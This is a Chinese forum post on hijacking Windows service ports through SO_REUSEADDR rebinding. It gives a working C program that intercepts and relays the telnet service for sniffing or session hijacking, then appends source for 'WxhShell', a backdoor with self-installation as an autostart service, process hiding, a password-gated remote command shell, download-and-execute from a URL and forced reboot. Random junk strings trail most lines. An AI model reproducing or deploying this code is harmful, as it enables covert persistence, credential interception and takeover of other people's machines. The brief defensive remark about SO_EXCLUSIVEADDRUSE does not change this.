社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19423阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =?X$Yaw*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fj,m  
PNeh#PI 6)  
  saddr.sin_family = AF_INET; _#_ E^!  
X _$a,"'~)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \b*X:3g*  
^S#t|rN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G9g6.8*&  
},[;O^Do^{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Pj?Dmk~   
H UWxPIu  
  这意味着什么?意味着可以进行如下的攻击: .C]cK%OO N  
3^=+gsc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rx:z#"?I  
bqx0d=Z~[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l?*r5[O>n  
ZlKw_Sq:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W9zE{)Sc~  
W@\ (nfD2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MK}-<&v  
NV r0M?`4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H0"=Vs,n  
"gW7<ilw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  8%RI7Mg  
V^il$'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -p-0;Hy  
->lu#; A5  
  #include W0cgI9=9  
  #include %}>dqUyQ  
  #include a1N!mQ^  
  #include    Wd(86idnc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   AAUyy :  
  int main() efz&@|KR  
  { _w ]4~V9  
  WORD wVersionRequested; YH:8<O,{-  
  DWORD ret; FnHi(S|A  
  WSADATA wsaData; $A<ESfrs  
  BOOL val; AK u_~bTk  
  SOCKADDR_IN saddr; =sOo:s  
  SOCKADDR_IN scaddr; &GWkq>  
  int err; 'b"TH^\  
  SOCKET s; P(omfD4  
  SOCKET sc; `xKFqx:e  
  int caddsize; )yxT+g2!  
  HANDLE mt; IJU0[EA]F  
  DWORD tid;   H]#Rg`~n  
  wVersionRequested = MAKEWORD( 2, 2 ); Me:{{-V4  
  err = WSAStartup( wVersionRequested, &wsaData ); ?PPZp6A3L=  
  if ( err != 0 ) { v@EQ^C2.&  
  printf("error!WSAStartup failed!\n"); yy(A(}  
  return -1; bb=uF1  
  } @=uN\) 1  
  saddr.sin_family = AF_INET; $1*3!}_0  
   ZYtiMBJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DHfB@/q#  
CL7Nr@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~0-g%C?R  
  saddr.sin_port = htons(23); D>wZ0p b-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R21~Q:b !  
  { u@.>WHQN  
  printf("error!socket failed!\n"); VS/;aG$&y  
  return -1; PK rek  
  } $R^lo $(  
  val = TRUE; (xyS7q]m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8TZENRzx-|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Lu>H`B7Q"  
  { nwM)K  
  printf("error!setsockopt failed!\n"); h ; kfh.  
  return -1; )%JD8;[Jq  
  } <`g3(?   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E(L<L1:"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ttv9" z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;rBp1[qVe  
5JFV%odo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :%-,Fxl4  
  { /r.6XZs6  
  ret=GetLastError(); 7!2 HNg  
  printf("error!bind failed!\n"); BgRZ<B`  
  return -1; 3x5!a5$Y  
  } %AR^+*Nu  
  listen(s,2); %%g-GyP 1  
  while(1) {K7YTLWY  
  { 0rzVy/Z(  
  caddsize = sizeof(scaddr); _ 6:ww/  
  //接受连接请求 %cW;}Y[?P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J4yt N3  
  if(sc!=INVALID_SOCKET) 3q &k  
  { %<}=xJf>1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m)f|:MM  
  if(mt==NULL) ?y-s20Kd  
  { A 0#Y, 1  
  printf("Thread Creat Failed!\n"); yr4ou  
  break; g"y?nF.&F  
  } BXTN>d27  
  } +Z+ExS<#z  
  CloseHandle(mt); Fh`-(,e?5  
  } W(@>?$&  
  closesocket(s); k:P$LzIB  
  WSACleanup(); %2yAvGa1  
  return 0; ]*ov&{'  
  }   elbG\qXBp  
  DWORD WINAPI ClientThread(LPVOID lpParam) (fXq<GXAn/  
  { AMk~dzNt  
  SOCKET ss = (SOCKET)lpParam; pT=2e&  
  SOCKET sc; 1VfSSO  
  unsigned char buf[4096]; f9'] jJ+  
  SOCKADDR_IN saddr; !Z/$}xxj  
  long num; V.,bwPb{9  
  DWORD val; 97x%w]kV  
  DWORD ret; @}eNV~ROu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R{<Y4C2~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BLW]|p|1:  
  saddr.sin_family = AF_INET; ]p$zvMf}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \GHOg.P  
  saddr.sin_port = htons(23); ~ hD{coVTI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C ktX0  
  { l10-XU02  
  printf("error!socket failed!\n"); *g$agyOfh  
  return -1; & s-VSu7  
  } $,P\)</ VR  
  val = 100; =>YvA>izE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !`C%Fkq  
  { aQh?}=da  
  ret = GetLastError(); l;5`0N?QO  
  return -1; }jcIDiSu  
  } Opry`}5h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CZfE |T~  
  { b"P&+c  
  ret = GetLastError(); a4u^f5)@  
  return -1; s]bPV,"p  
  } AP ;*iyQ[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~R{8.!: >  
  { NUu;tjt:  
  printf("error!socket connect failed!\n"); LR\zy8y]  
  closesocket(sc); :A*0]X;  
  closesocket(ss); 6EP~F8Kd  
  return -1; YZ*{^'  
  } qvTJ>FILT  
  while(1) 9}XT'+`y  
  { O0zi@2m?B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  V IYV92[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wWFW,3b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >p |yf. G  
  num = recv(ss,buf,4096,0); xSOoIsL[  
  if(num>0) 2H>aC wfX  
  send(sc,buf,num,0); H%~Q?4  
  else if(num==0) u#VweXyU  
  break; 8GW ut=D  
  num = recv(sc,buf,4096,0); SW=aHM  
  if(num>0) *2#FRA#q  
  send(ss,buf,num,0); P#F_>GB  
  else if(num==0) q]+)c2M  
  break; i;avwP<0  
  } S[.5n]  
  closesocket(ss); TnxU/)  
  closesocket(sc); 9C>ynH  
  return 0 ; qSR? ,G  
  } r?afv.@L2  
^#7viZ*  
fOJj(0=y  
========================================================== x cnt?%%M  
[>wzl"cHW  
下边附上一个代码,,WXhSHELL Pzptr%{  
W60Q3  
========================================================== x{2o[dK4}  
1{7_ `[  
#include "stdafx.h" =<>pKQ)[  
j aD!  
#include <stdio.h> -Y2&A$cM  
#include <string.h> v0u\xX[H;  
#include <windows.h> !`Xt8q\r  
#include <winsock2.h> oc=tI@W  
#include <winsvc.h> s8yCC #H"  
#include <urlmon.h> "& Ff[ O*  
6yp+h  
#pragma comment (lib, "Ws2_32.lib") W'd/dKU x  
#pragma comment (lib, "urlmon.lib") #B\B(y  
j^rYFS w:Q  
#define MAX_USER   100 // 最大客户端连接数 F;X"3F.!  
#define BUF_SOCK   200 // sock buffer !rz)bd3$  
#define KEY_BUFF   255 // 输入 buffer n)Hk8)^8  
RAdvIIQp:  
#define REBOOT     0   // 重启 T[m ~6  
#define SHUTDOWN   1   // 关机 Q{8qm<0g  
SUo^c1)G  
#define DEF_PORT   5000 // 监听端口 +=Yk-nJ  
G tG&yeB  
#define REG_LEN     16   // 注册表键长度 :(+]b  
#define SVC_LEN     80   // NT服务名长度 b%<164i  
 srvYAAE  
// 从dll定义API | [p68v>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "zXGp7Q'#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ys)+9yPPn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sr-|,\/O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ( -xR7A  
17|@f  
// wxhshell配置信息 )< l\jfx e  
struct WSCFG { df!+T0  
  int ws_port;         // 监听端口 FSFFk~  
  char ws_passstr[REG_LEN]; // 口令 N JXa_&_  
  int ws_autoins;       // 安装标记, 1=yes 0=no jjYM3LQcdP  
  char ws_regname[REG_LEN]; // 注册表键名 _qEWu Do  
  char ws_svcname[REG_LEN]; // 服务名 5a8JVDLX^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '+tKvTU;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HqB|SWyK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VVgsLQd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yW[L,N7d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Jm%mm SYK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ofVEao  
OA!R5sOz"  
}; vP-3j  
^P]?3U\nj  
// default Wxhshell configuration K* 0 aXr?  
struct WSCFG wscfg={DEF_PORT, 5DmCxg  
    "xuhuanlingzhe", #"|"cYi,  
    1, iJEB ?y  
    "Wxhshell", N\c &PS  
    "Wxhshell", 9/FG,9  
            "WxhShell Service", keqr%:E8  
    "Wrsky Windows CmdShell Service", :EYu 4Y  
    "Please Input Your Password: ", 56"#Syj  
  1, /*AJ+K._  
  "http://www.wrsky.com/wxhshell.exe", -*rHB&e  
  "Wxhshell.exe" b{zAJ`|#[n  
    }; -3u@hp_  
C{8i7D  
// 消息定义模块 kboizJp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <>SR4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zlr{L]c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Sb'N];  
char *msg_ws_ext="\n\rExit."; @Q/x&BV  
char *msg_ws_end="\n\rQuit."; ?e"Wu+q~L  
char *msg_ws_boot="\n\rReboot..."; pCz@(:0  
char *msg_ws_poff="\n\rShutdown..."; t1G1(F#&%  
char *msg_ws_down="\n\rSave to "; "w(N62z/  
83\ o (  
char *msg_ws_err="\n\rErr!"; B>{|'z?%>  
char *msg_ws_ok="\n\rOK!"; FLVbkW-G.  
PbbXi  
char ExeFile[MAX_PATH]; |= tJ|  
int nUser = 0; iTj"lA  
HANDLE handles[MAX_USER]; UY1JB^J$  
int OsIsNt; YCirOge  
dMey/A/VYt  
SERVICE_STATUS       serviceStatus; pp*bqY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aJEbAs}  
tniPEmeS  
// 函数声明 5{8x*PSl  
int Install(void); a v'd%LZP  
int Uninstall(void); MF f05\aDu  
int DownloadFile(char *sURL, SOCKET wsh); cWgbd^J  
int Boot(int flag); unCt4uX^  
void HideProc(void); Vf"O/o}hq,  
int GetOsVer(void); Uc_'3|e  
int Wxhshell(SOCKET wsl); LDT'FwMjy  
void TalkWithClient(void *cs); z0\;m{TH  
int CmdShell(SOCKET sock); GS$ZvO  
int StartFromService(void); c1pq]mz|z  
int StartWxhshell(LPSTR lpCmdLine); =Jsg{vI  
P%.`c?olbs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L 2[Ei|9_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j l;kcGE  
PN1(j|  
// 数据结构和表定义 5%2ef{T[  
SERVICE_TABLE_ENTRY DispatchTable[] = -}=@ *See#  
{ sN6 0o 7.  
{wscfg.ws_svcname, NTServiceMain}, 6V.awg,  
{NULL, NULL} 8#X?k/mzU  
}; Q3N y5G>  
1zh$IYrd  
// 自我安装 4w;r l(s  
int Install(void) g4~X#}:z$O  
{ VQ1?Db(_2  
  char svExeFile[MAX_PATH]; 54`bE$:+  
  HKEY key; #)W8.  
  strcpy(svExeFile,ExeFile); 2neF<H?^o  
^U-vD[O8  
// 如果是win9x系统,修改注册表设为自启动 C1ZFA![  
if(!OsIsNt) { 7xLo 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }9L 40)8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w/lXZg  
  RegCloseKey(key); p_rN1W Dd'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7yMieUF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %Nwyx;>9^K  
  RegCloseKey(key); EpFIKV!  
  return 0; ^2&O3s  
    } O!#L#u53  
  } &Iv\jhq  
} Ma`   
else { j\XX:uU_  
S(g<<Te  
// 如果是NT以上系统,安装为系统服务 "i!2=A8k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &LCUoTzj  
if (schSCManager!=0) 2 ||KP|5@  
{ R-g>W  
  SC_HANDLE schService = CreateService 3Ew"[FUs  
  ( a -z23$3  
  schSCManager, UPfFT^=y  
  wscfg.ws_svcname, iFAoAw(  
  wscfg.ws_svcdisp, 377j3dP  
  SERVICE_ALL_ACCESS, \j,v/C@c-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0Zc*YdH  
  SERVICE_AUTO_START, adRNrt*!  
  SERVICE_ERROR_NORMAL, r6O7&Me<  
  svExeFile, '<R B  
  NULL, V\iIvBpWg  
  NULL, q;1VF;<"vH  
  NULL, oiTMP`Y  
  NULL, )z ?&" I  
  NULL 902!M65[rG  
  ); +Op%,,Db  
  if (schService!=0) >)AE |j`  
  { /tId#/Y  
  CloseServiceHandle(schService); Ev$-P X  
  CloseServiceHandle(schSCManager); ;[WSf{k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O4b-A3:  
  strcat(svExeFile,wscfg.ws_svcname); 9E->;0-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H3p4,Y}'#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +P> A P&  
  RegCloseKey(key); X]+(c_i:hC  
  return 0; *sc0,'0  
    } f^[{k {t  
  } bMK#^ZoH  
  CloseServiceHandle(schSCManager); =\ti<  
} H 'WFORso[  
} g6[/F-3Qlf  
9a"Y,1  
return 1; )$gsU@H -  
} +(I`@5  
giPhW>  
// 自我卸载 D]G'R5H  
int Uninstall(void) ?c=R"Yg$  
{  rvwl  
  HKEY key; Ab^>z  
l ))~&  
if(!OsIsNt) { %U=S6<lbj;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~n8*@9[  
  RegDeleteValue(key,wscfg.ws_regname); O5G<O(,\  
  RegCloseKey(key); Hg gR=>s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gJcXdv=]2  
  RegDeleteValue(key,wscfg.ws_regname); {E3<GeHw4  
  RegCloseKey(key); {.' ,%)  
  return 0; S,wj[;cv4  
  } bG?WB,1  
} }<}`Q^Mlk  
} 7tf81*e  
else { 7(|3 OR+  
Sob $j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); = h<? /Krs  
if (schSCManager!=0) Zgy2Pot  
{ .qb_/#Bas  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $8X tI  
  if (schService!=0) Dvq*XI5  
  { %/6e"o  
  if(DeleteService(schService)!=0) { _ RT"1"r  
  CloseServiceHandle(schService); .qqb> 7|q  
  CloseServiceHandle(schSCManager); \ ]kb&Qw  
  return 0; 764}yV>  
  }  f>wW}-  
  CloseServiceHandle(schService); Il&"=LooZ  
  } 5uD#=/oV  
  CloseServiceHandle(schSCManager); y3@x*_K8  
} (Qh7bfd  
} ~-`BSR  
`%mBu`A  
return 1; X#Dhk6  
} ?,i#B'Z^  
sS1J.R  
// 从指定url下载文件 3@Zz-~4Td  
int DownloadFile(char *sURL, SOCKET wsh) V'.eesN  
{ b W C~Hv  
  HRESULT hr; yqVaA 'w5  
char seps[]= "/"; *OGXu07 !  
char *token; >QZt)<[  
char *file; OB*Xb*HN  
char myURL[MAX_PATH]; iRj x];:Vu  
char myFILE[MAX_PATH]; d4/`:?w  
} ^GV(]K  
strcpy(myURL,sURL); $5Y^fwIK  
  token=strtok(myURL,seps); f_5R!;  
  while(token!=NULL) hPqapz]HcP  
  { z)<pqN  
    file=token; .X<"pd*@e  
  token=strtok(NULL,seps); 1n"+~N^\  
  } .2{C29g  
V=l Q}sBY  
GetCurrentDirectory(MAX_PATH,myFILE); Lm*LJ_+ B  
strcat(myFILE, "\\"); o+)LcoP u  
strcat(myFILE, file); (;Q <@PZg  
  send(wsh,myFILE,strlen(myFILE),0); &6|^~(P?  
send(wsh,"...",3,0); {HRxyAI!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uZ2v;]\Y6  
  if(hr==S_OK) s=y9!rr  
return 0; Ei p~ ~2  
else sNk>0 X[  
return 1; {^$"/hj  
VQ,\O  
} WEV{C(u<k!  
K}5 $;W#  
// 系统电源模块 vu.S>2Wv  
int Boot(int flag) s!o<Pd yJK  
{ TNyY60E  
  HANDLE hToken; 9J;H.:WH  
  TOKEN_PRIVILEGES tkp; "za*$DU  
k0 e|8g X  
  if(OsIsNt) { #Mem2cz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1:{O RX[;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s<r.+zqW  
    tkp.PrivilegeCount = 1; _KkVI7a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kDpZnXP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^%*{:0'  
if(flag==REBOOT) { 73sAZa|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BE2\?q-  
  return 0; LN6JH!  
} x]d"|jmVZ  
else { ://|f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Dgq[g_+l  
  return 0; (27F   
} VY&9kN  
  } 85@6uBh  
  else { yA>p[F  
if(flag==REBOOT) { = cI\OsV&?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y`O}]*{>8R  
  return 0; Y)j,(9  
} %{VI-CQ  
else { %"KWjwp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l-h7ksRs  
  return 0; L pi _uK  
} ,cO)Sxj  
} $ p1EqVu  
rgZ rE;*;  
return 1; @Kb|  
} ?L#SnnE  
c{4nW|/W  
// win9x进程隐藏模块 F=T.*-oS3  
void HideProc(void) eg~^wi  
{ q}A3"$-F  
+q=jB-eIx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0!'M#'m  
  if ( hKernel != NULL ) 7/OOq=z  
  { 3]]6z K^i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !RUo:b+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cCbr-Z&  
    FreeLibrary(hKernel); G-i_s6Wu  
  } nu9k{owB T  
e4W];7_K!  
return; 4!s k3Cw{  
} e"H+sM26-  
{)[g  
// 获取操作系统版本 |b;M5w?  
int GetOsVer(void) 6C51:XQO  
{ oD}FJvV  
  OSVERSIONINFO winfo; WT {Cjn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Joo)GIB  
  GetVersionEx(&winfo); <C`eZ}Qqv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r|F,\fF  
  return 1; <@j  
  else hE#8_34%s  
  return 0; x w83K  
} 7<Js'\Z  
|Gs-9+'y  
// 客户端句柄模块 2?nyPqT3AM  
int Wxhshell(SOCKET wsl) 5F+ f'~  
{ !<PTsk F  
  SOCKET wsh; Z6AU%3]  
  struct sockaddr_in client; L8K3&[l%  
  DWORD myID; l3|>*szX  
MmX[xk  
  while(nUser<MAX_USER) R]s jG <  
{ m1; <T@  
  int nSize=sizeof(client); k 5r*?Os  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v;qL? _:=c  
  if(wsh==INVALID_SOCKET) return 1; vHe.+XY  
F"#*8P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $I0a2Z=dP  
if(handles[nUser]==0) W2(=m!:U  
  closesocket(wsh); xs`gN  
else %7wzGtM]ps  
  nUser++; k#+^=F^)I  
  } 1;[ <||K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '0M0F'R  
juYt =  
  return 0; 61wG:  
} 128 rly  
m/B9)JzY  
// 关闭 socket ^B=z_0 *  
void CloseIt(SOCKET wsh) (y4Eq*n%!  
{ cW/~4.v$  
closesocket(wsh); rtOW-cz  
nUser--; p 8Hv7*  
ExitThread(0); Y tj>U  
} ] r+I D  
2xBGs9_Y  
// 客户端请求句柄 |Qq'_4:  
void TalkWithClient(void *cs) ^n5QK HD  
{ vjWgR9 4/{  
/ ^M3-5@Q  
  SOCKET wsh=(SOCKET)cs; XxQ2g&USk  
  char pwd[SVC_LEN]; .shI% 'V  
  char cmd[KEY_BUFF]; Ds5&5&af  
char chr[1]; ^o<Nz8  
int i,j; F+^[8zK^  
a2)*tbM 9\  
  while (nUser < MAX_USER) { >'g60R[  
ATewdq[C  
if(wscfg.ws_passstr) { V0B4<TTAo~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T js{ )r9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d-&dA_ ?  
  //ZeroMemory(pwd,KEY_BUFF); o%Q'<0d  
      i=0; cwU6}*_zn  
  while(i<SVC_LEN) { p)] ^>-L  
[o6<aE-  
  // 设置超时 uV\#J{'*  
  fd_set FdRead; 3VgH* vAU}  
  struct timeval TimeOut; I`lH6hHp  
  FD_ZERO(&FdRead); ~%q e,  
  FD_SET(wsh,&FdRead); Jq@LZ2^  
  TimeOut.tv_sec=8; .qP zd(<T7  
  TimeOut.tv_usec=0; 2a}_|#*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fP*C*4#X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KDzIarC  
7cSvAX0Z.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %j`]x -aOz  
  pwd=chr[0]; imuHSxcaV  
  if(chr[0]==0xd || chr[0]==0xa) { ~.SU$  
  pwd=0; nW[aPQ[R   
  break; .^W0;ISX  
  } p{u}t!`!d  
  i++; E_*T0&P.P  
    } a MD?^  
$(hZw  
  // 如果是非法用户,关闭 socket [)KfRk?};2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D^4V"rq  
} t*$@QO  
S!bvU2d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '?[msX"aqa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s @9#hjv2  
5PySCGv  
while(1) { %|||M=akk  
7] H4E.(l  
  ZeroMemory(cmd,KEY_BUFF); C_;6-Q%V  
w%"q=V  
      // 自动支持客户端 telnet标准   Cq'r 'cBZ  
  j=0; lTNkmQ  
  while(j<KEY_BUFF) { -UE-v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eLWzd_ln  
  cmd[j]=chr[0]; ![Y$[l  
  if(chr[0]==0xa || chr[0]==0xd) { ijT^gsLL  
  cmd[j]=0; ?/g(Y  
  break; B!lw>rUMQ  
  } +d. Bf  
  j++; EyiM`)!5  
    } @ZWKs  
/$Jh5Bv  
  // 下载文件 =!2   
  if(strstr(cmd,"http://")) { e<pojb1Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5 [*jfOz  
  if(DownloadFile(cmd,wsh)) Z H*?~ #  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &'j77tqOk  
  else ;* Jd#O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hy rJu{p  
  } nfR5W~%*:  
  else { PI?[  
pgarGaeq  
    switch(cmd[0]) { Z7/lFS'~N  
  f+RDvgkKU  
  // 帮助 ?J AzN  
  case '?': { 9w|q':<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3H2'HO  
    break;  #Ki@=*  
  } fNumY|%3  
  // 安装 MDZb|1.AT  
  case 'i': { MiI7s ;  
    if(Install()) UHwrssX&3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?2a gU  
    else a7R7Ks|q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [&&4lKC}u  
    break; auU{I y   
    } /fEXAk  
  // 卸载 j(hC't-  
  case 'r': { [VH t#JuN,  
    if(Uninstall()) 4H)a7 <,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W\.(~-(So  
    else }#@LZ)]hK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]cK@nq)  
    break; 4D5)<3N=d'  
    } Y-9F*8<  
  // 显示 wxhshell 所在路径 4i\n1RW  
  case 'p': { j  jQ=  
    char svExeFile[MAX_PATH]; v}U;@3W8U  
    strcpy(svExeFile,"\n\r"); B("kE`  
      strcat(svExeFile,ExeFile); _;9)^})$  
        send(wsh,svExeFile,strlen(svExeFile),0); 4ai3@f5  
    break; G9TUU.T  
    }  K!j2AP3  
  // 重启 W&nVVV8s@  
  case 'b': { a7ty&[\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v2^CBKZ+  
    if(Boot(REBOOT)) 7>TG ]&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NUseYU``  
    else { {[eY/)6H  
    closesocket(wsh); 6/ )A6Tt  
